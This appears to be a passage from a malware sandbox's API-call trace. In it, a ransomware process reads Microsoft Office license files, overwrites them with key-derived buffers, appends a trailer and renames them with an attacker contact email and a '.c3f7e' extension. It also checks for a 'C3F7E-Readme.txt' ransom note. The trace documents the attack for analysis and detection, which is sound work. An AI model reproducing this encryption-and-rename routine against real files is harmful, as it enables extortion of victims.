	[0085.955] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481d3c0) returned 1
	[0085.955] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752ff0) returned 1
	[0085.955] NtQueryInformationFile (in: FileHandle=0x18a0, IoStatusBlock=0x28ebf9dc, FileInformation=0x28ebf9b4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28ebf9dc, FileInformation=0x28ebf9b4) returned 0x0
	[0085.955] NtSetInformationFile (FileHandle=0x18a0, IoStatusBlock=0x28ebf9dc, FileInformation=0x28ebf9b4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.956] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0085.956] FlushFileBuffers (hFile=0x18a0) returned 1
	[0093.085] CloseHandle (hObject=0x18a0) returned 1
	[0093.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476db28
	[0093.086] wcscpy (in: _Dest=0x476db28, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.086] wcscat (in: _Dest=0x476db28, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
	[0093.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) 

Thread:
	id = 1169
	os_tid = 0x1eb8

	[0085.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 0x220
	[0085.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms", dwFileAttributes=0x20) returned 1
	[0085.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18a4
	[0085.954] GetFileSizeEx (in: hFile=0x18a4, lpFileSize=0x28f3fda8 | out: lpFileSize=0x28f3fda8*=10623) returned 1
	[0085.956] SetFilePointerEx (in: hFile=0x18a4, liDistanceToMove=0x297b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.956] ReadFile (in: hFile=0x18a4, lpBuffer=0x28f3fd2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28f3fd28, lpOverlapped=0x0 | out: lpBuffer=0x28f3fd2c*, lpNumberOfBytesRead=0x28f3fd28*=0x4, lpOverlapped=0x0) returned 1
	[0085.958] SetFilePointerEx (in: hFile=0x18a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.958] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0085.958] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f70
	[0085.958] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.958] NtQuerySystemTime (in: CurrentTime=0x28f3fd08 | out: CurrentTime=0x28f3fd08*=132251868127025425) returned 0x0
	[0085.958] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0xd84e2244
	[0085.958] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0x7b6d092a
	[0085.958] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0x52dd203d
	[0085.958] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0x496d4112
	[0085.958] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0xa7514ca2
	[0085.958] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0x9bbae6b6
	[0085.958] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0x391616db
	[0085.958] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0x4557fc5e
	[0085.958] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0xe6cde423
	[0085.958] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0xb3828c4b
	[0085.958] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0xb403b014
	[0085.958] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0x345b30bb
	[0085.958] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0xcdc1e36
	[0085.958] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0x6c9844d7
	[0085.958] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0xbf7bc3fd
	[0085.958] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0xc28df448
	[0085.958] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0x1560e86e
	[0085.959] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0xa8d6ecfa
	[0085.959] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0xf42405f
	[0085.959] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0x8d631ce2
	[0085.959] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0xcd3e411c
	[0085.959] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0xe7caca9d
	[0085.959] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0x3dc70895
	[0085.959] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0x2bbfbe48
	[0085.959] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0x36acc532
	[0085.959] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0x1dc4e3a2
	[0085.959] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0x4c889f6b
	[0085.959] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0xc6afb7ed
	[0085.959] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0x71cbfa3
	[0085.959] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0xbf693b07
	[0085.959] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0x87903d93
	[0085.959] RtlRandom (in: Seed=0x28f3fd14 | out: Seed=0x28f3fd14) returned 0xd3361c6e
	[0085.966] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76fe8
	[0085.967] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0085.967] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d68
	[0085.967] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.967] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.967] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0085.967] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0085.967] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0085.967] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77100
	[0085.968] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77100) returned 1
	[0085.968] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f6e790
	[0085.968] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4895858
	[0085.968] ReadFile (in: hFile=0x18a4, lpBuffer=0x4f6e790, nNumberOfBytesToRead=0x297f, lpNumberOfBytesRead=0x28f3fd04, lpOverlapped=0x0 | out: lpBuffer=0x4f6e790*, lpNumberOfBytesRead=0x28f3fd04*=0x297f, lpOverlapped=0x0) returned 1
	[0085.969] SetFilePointerEx (in: hFile=0x18a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.969] WriteFile (in: hFile=0x18a4, lpBuffer=0x4895858*, nNumberOfBytesToWrite=0x297f, lpNumberOfBytesWritten=0x28f3fd00, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesWritten=0x28f3fd00*=0x297f, lpOverlapped=0x0) returned 1
	[0085.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0085.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0085.970] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0085.970] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895858) returned 1
	[0085.970] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f6e790) returned 1
	[0085.970] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.970] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0085.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x39) returned 0x2dfb3d8
	[0085.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0085.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0085.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.971] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.971] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x39) returned 0x2dfb0c0
	[0085.971] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0085.971] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.971] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.971] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0085.971] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0085.971] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11d) returned 0x2d88ff0
	[0085.971] SetFilePointerEx (in: hFile=0x18a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.971] WriteFile (in: hFile=0x18a4, lpBuffer=0x2d88ff0*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x28f3fd68, lpOverlapped=0x0 | out: lpBuffer=0x2d88ff0*, lpNumberOfBytesWritten=0x28f3fd68*=0x11d, lpOverlapped=0x0) returned 1
	[0085.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88ff0) returned 1
	[0085.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb0c0) returned 1
	[0085.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0085.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0085.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0085.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f70) returned 1
	[0085.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76fe8) returned 1
	[0085.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d68) returned 1
	[0085.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x2e44980
	[0085.972] wcscpy (in: _Dest=0x2e44980, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms"
	[0085.972] wcscat (in: _Dest=0x2e44980, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.972] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x28f3fd20, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.973] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x4752ff0
	[0085.973] NtSetInformationFile (FileHandle=0x18a4, IoStatusBlock=0x28f3fd18, FileInformation=0x4752ff0, Length=0xee, FileInformationClass=0xa) returned 0x0
	[0085.975] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752ff0) returned 1
	[0085.975] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4767320) returned 1
	[0085.975] NtQueryInformationFile (in: FileHandle=0x18a4, IoStatusBlock=0x28f3fd2c, FileInformation=0x28f3fd04, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28f3fd2c, FileInformation=0x28f3fd04) returned 0x0
	[0085.975] NtSetInformationFile (FileHandle=0x18a4, IoStatusBlock=0x28f3fd2c, FileInformation=0x28f3fd04, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44980) returned 1
	[0085.976] FlushFileBuffers (hFile=0x18a4) returned 1
	[0093.086] CloseHandle (hObject=0x18a4) returned 1
	[0093.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476dc48
	[0093.086] wcscpy (in: _Dest=0x476dc48, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.087] wcscat (in: _Dest=0x476dc48, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
	[0093.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) 

Thread:
	id = 1170
	os_tid = 0x1ebc

	[0085.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 0x220
	[0085.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms", dwFileAttributes=0x20) returned 1
	[0085.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18a8
	[0085.977] GetFileSizeEx (in: hFile=0x18a8, lpFileSize=0x28fbfe64 | out: lpFileSize=0x28fbfe64*=6729) returned 1
	[0085.977] SetFilePointerEx (in: hFile=0x18a8, liDistanceToMove=0x1a45, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.977] ReadFile (in: hFile=0x18a8, lpBuffer=0x28fbfde8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28fbfde4, lpOverlapped=0x0 | out: lpBuffer=0x28fbfde8*, lpNumberOfBytesRead=0x28fbfde4*=0x4, lpOverlapped=0x0) returned 1
	[0085.980] SetFilePointerEx (in: hFile=0x18a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.980] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0085.980] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f70
	[0085.980] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.980] NtQuerySystemTime (in: CurrentTime=0x28fbfdc4 | out: CurrentTime=0x28fbfdc4*=132251868127181908) returned 0x0
	[0085.980] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0xefcb9dce
	[0085.980] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0xae270a6
	[0085.980] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0x99322cae
	[0085.980] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0x477f7443
	[0085.980] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0x339a9f60
	[0085.980] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0xfb7e7be
	[0085.980] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0x1dd68c21
	[0085.980] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0xb715de6
	[0085.980] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0x4f1bc8db
	[0085.980] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0x6b0bc21
	[0085.980] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0x1ec86f29
	[0085.980] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0x3862f175
	[0085.980] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0x32c3fb50
	[0085.980] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0xd0307e15
	[0085.980] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0xc427ec54
	[0085.980] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0x91c8cb29
	[0085.981] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0xf53d36b5
	[0085.981] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0xbe9c2b5d
	[0085.981] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0xf6739b33
	[0085.981] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0x806e0c
	[0085.981] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0xef885392
	[0085.981] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0x2943a928
	[0085.981] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0x492097c1
	[0085.981] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0x85bbc109
	[0085.981] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0x2562807e
	[0085.981] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0xe7108e4a
	[0085.981] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0x2439c0e3
	[0085.981] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0xdf72254e
	[0085.981] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0xba5626c6
	[0085.981] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0xfc25869
	[0085.981] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0x19504978
	[0085.981] RtlRandom (in: Seed=0x28fbfdd0 | out: Seed=0x28fbfdd0) returned 0xd6dce6a2
	[0085.989] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76fe8
	[0085.990] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0085.991] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d68
	[0085.991] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.991] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.991] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0085.991] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0085.991] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0085.991] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77100
	[0085.991] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77100) returned 1
	[0085.991] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f6e790
	[0085.991] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4895858
	[0085.991] ReadFile (in: hFile=0x18a8, lpBuffer=0x4f6e790, nNumberOfBytesToRead=0x1a49, lpNumberOfBytesRead=0x28fbfdc0, lpOverlapped=0x0 | out: lpBuffer=0x4f6e790*, lpNumberOfBytesRead=0x28fbfdc0*=0x1a49, lpOverlapped=0x0) returned 1
	[0085.992] SetFilePointerEx (in: hFile=0x18a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.992] WriteFile (in: hFile=0x18a8, lpBuffer=0x4895858*, nNumberOfBytesToWrite=0x1a49, lpNumberOfBytesWritten=0x28fbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesWritten=0x28fbfdbc*=0x1a49, lpOverlapped=0x0) returned 1
	[0085.993] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0085.993] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0085.993] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0085.993] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895858) returned 1
	[0085.993] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f6e790) returned 1
	[0085.993] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.993] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0085.993] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3b) returned 0x2dfb3d8
	[0085.993] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0085.993] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0085.993] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.993] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.993] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3b) returned 0x2dfb0c0
	[0085.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0085.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.994] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.994] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0085.994] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0085.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11f) returned 0x2d88ff0
	[0085.994] SetFilePointerEx (in: hFile=0x18a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.994] WriteFile (in: hFile=0x18a8, lpBuffer=0x2d88ff0*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x28fbfe24, lpOverlapped=0x0 | out: lpBuffer=0x2d88ff0*, lpNumberOfBytesWritten=0x28fbfe24*=0x11f, lpOverlapped=0x0) returned 1
	[0085.995] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88ff0) returned 1
	[0085.995] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb0c0) returned 1
	[0085.995] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0085.995] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0085.995] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0085.995] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f70) returned 1
	[0085.995] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76fe8) returned 1
	[0085.995] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d68) returned 1
	[0085.995] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4768628
	[0085.995] wcscpy (in: _Dest=0x4768628, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms"
	[0085.995] wcscat (in: _Dest=0x4768628, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
